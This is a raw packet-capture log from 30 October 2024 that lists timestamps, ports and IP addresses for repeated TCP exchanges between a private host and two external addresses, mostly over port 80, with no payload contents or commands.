Oct 30, 2024 11:45:13.100878954 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.100887060 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.100931883 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.100990057 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.101037979 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.101047039 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.101090908 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.101098061 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.101133108 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.101140022 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.101169109 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.101177931 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.101203918 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.101207018 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.101242065 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.101248026 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.101274967 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.101275921 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.101319075 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.101843119 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.101887941 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.101913929 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.101946115 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.101955891 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.101989031 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.142340899 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.142409086 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.142443895 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.142462969 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.142482042 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.142499924 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.142499924 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.142518997 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.142528057 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.142558098 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.142563105 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.142596006 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.142597914 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.142632008 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.142642975 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.142668962 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.142674923 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.142713070 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.143012047 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.143059969 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.143062115 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.143099070 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.143104076 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.143134117 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.143141031 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.143182039 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.182554960 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.182629108 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.182637930 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.182662010 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.182674885 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.182706118 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.182713032 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.182775974 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.218975067 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.219016075 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.219050884 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.219069958 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.219095945 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.219129086 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.219183922 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.219208002 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.219258070 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.219259977 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.219295979 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.219302893 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.219333887 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.219360113 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.219404936 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.219602108 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.219650984 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.219655037 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.219691038 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.219700098 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.219724894 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.219733000 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.219762087 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.219769955 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.219800949 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.221292019 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.221327066 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.221350908 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.221368074 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.221381903 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.221416950 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.221426010 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.221453905 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.221465111 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.221488953 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.221496105 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.221525908 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.221537113 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.221556902 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.221576929 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.221591949 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.221600056 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.221627951 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.221640110 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.221662998 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.221673012 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.221698999 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.261146069 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.261183977 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.261205912 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.261234045 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.261234999 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.261274099 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.261276960 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.261308908 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.261315107 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.261352062 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.261368990 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.261403084 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.261413097 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.261439085 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.261449099 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.261473894 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.261477947 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.261514902 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.261827946 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.261862040 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.261876106 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.261899948 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.261904955 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.261944056 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.261957884 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.262002945 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.262109995 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.262140989 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.262151957 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.262183905 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.301677942 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.301713943 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.301749945 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.301748991 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.301765919 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.301795959 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.337821007 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.337855101 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.337872982 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.337889910 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.337905884 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.337918043 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.337945938 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.337984085 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.338013887 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.338037968 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.338053942 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.338059902 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.338071108 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.338073969 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.338095903 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.338105917 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.338406086 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.338427067 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.338452101 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.338455915 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.338470936 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.338478088 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.338493109 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.338496923 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.338515997 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.338521004 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.338531971 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.338557005 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.339040995 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.339059114 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.339076996 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.339093924 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.339102983 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.339109898 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.339121103 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.339138985 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.339140892 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.339154959 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.339162111 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.339171886 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.339183092 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.339201927 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.339214087 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.339782000 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.339831114 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.339843035 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.339884043 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.380038023 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.380112886 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.380140066 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.380152941 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.380166054 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.380191088 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.380208015 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.380251884 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.380260944 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.380314112 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.380328894 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.380357981 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.380371094 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.380402088 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.380415916 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.380438089 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.380445957 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.380472898 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.380482912 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.380508900 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.380516052 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.380548954 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.380558968 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.380585909 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.380748987 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.380784035 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.380805969 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.380817890 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.380825996 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.380858898 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.420329094 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.420468092 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.420501947 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.420532942 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.420546055 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.420568943 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.420576096 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.420607090 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.420613050 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.420644045 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.420644999 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.420684099 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.457632065 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.457669020 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.457703114 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.457729101 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.457762003 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.457766056 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.457803965 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.457817078 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.457839966 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.457849979 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.457879066 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.457890987 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.457916021 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.457917929 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.457952976 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.457962990 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.457993984 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.458041906 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.458089113 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.458102942 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.458142042 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.458154917 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.458189011 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.458199024 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.458225965 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.458230972 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.458261967 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.458266973 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.458304882 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.458304882 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.458339930 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.458353043 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.458376884 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.458381891 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.458420038 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.458975077 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.459012032 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.459137917 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.498867989 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.498946905 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.498985052 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.498995066 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.499020100 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.499047995 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.499057055 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.499079943 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.499093056 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.499108076 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.499131918 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.499140024 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.499177933 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.499190092 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.499226093 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.499241114 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.499263048 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.499286890 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.499299049 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.499310017 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.499341965 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.499361992 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.499399900 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.499417067 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.499463081 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.499664068 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.499717951 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.499737978 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.499752998 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.499783039 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.499800920 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.539129019 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.539170027 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.539200068 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.539206028 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.539217949 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.539248943 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.539249897 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.539284945 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.539294958 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.539335966 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.539344072 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.539391041 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.544647932 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:13.544723988 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:13.548587084 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:13.548604012 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:13.548846960 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:13.559478045 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:13.575628996 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.575653076 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.575670004 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.575687885 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.575723886 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.576240063 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.576256990 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.576273918 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.576292038 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.576306105 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.576313019 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.576323986 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.576349020 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.576376915 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.576453924 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.576497078 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.576517105 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.576564074 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.576575041 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.576613903 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.576649904 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.576667070 CET	80	49709	185.215.113.206	192.168.2.6
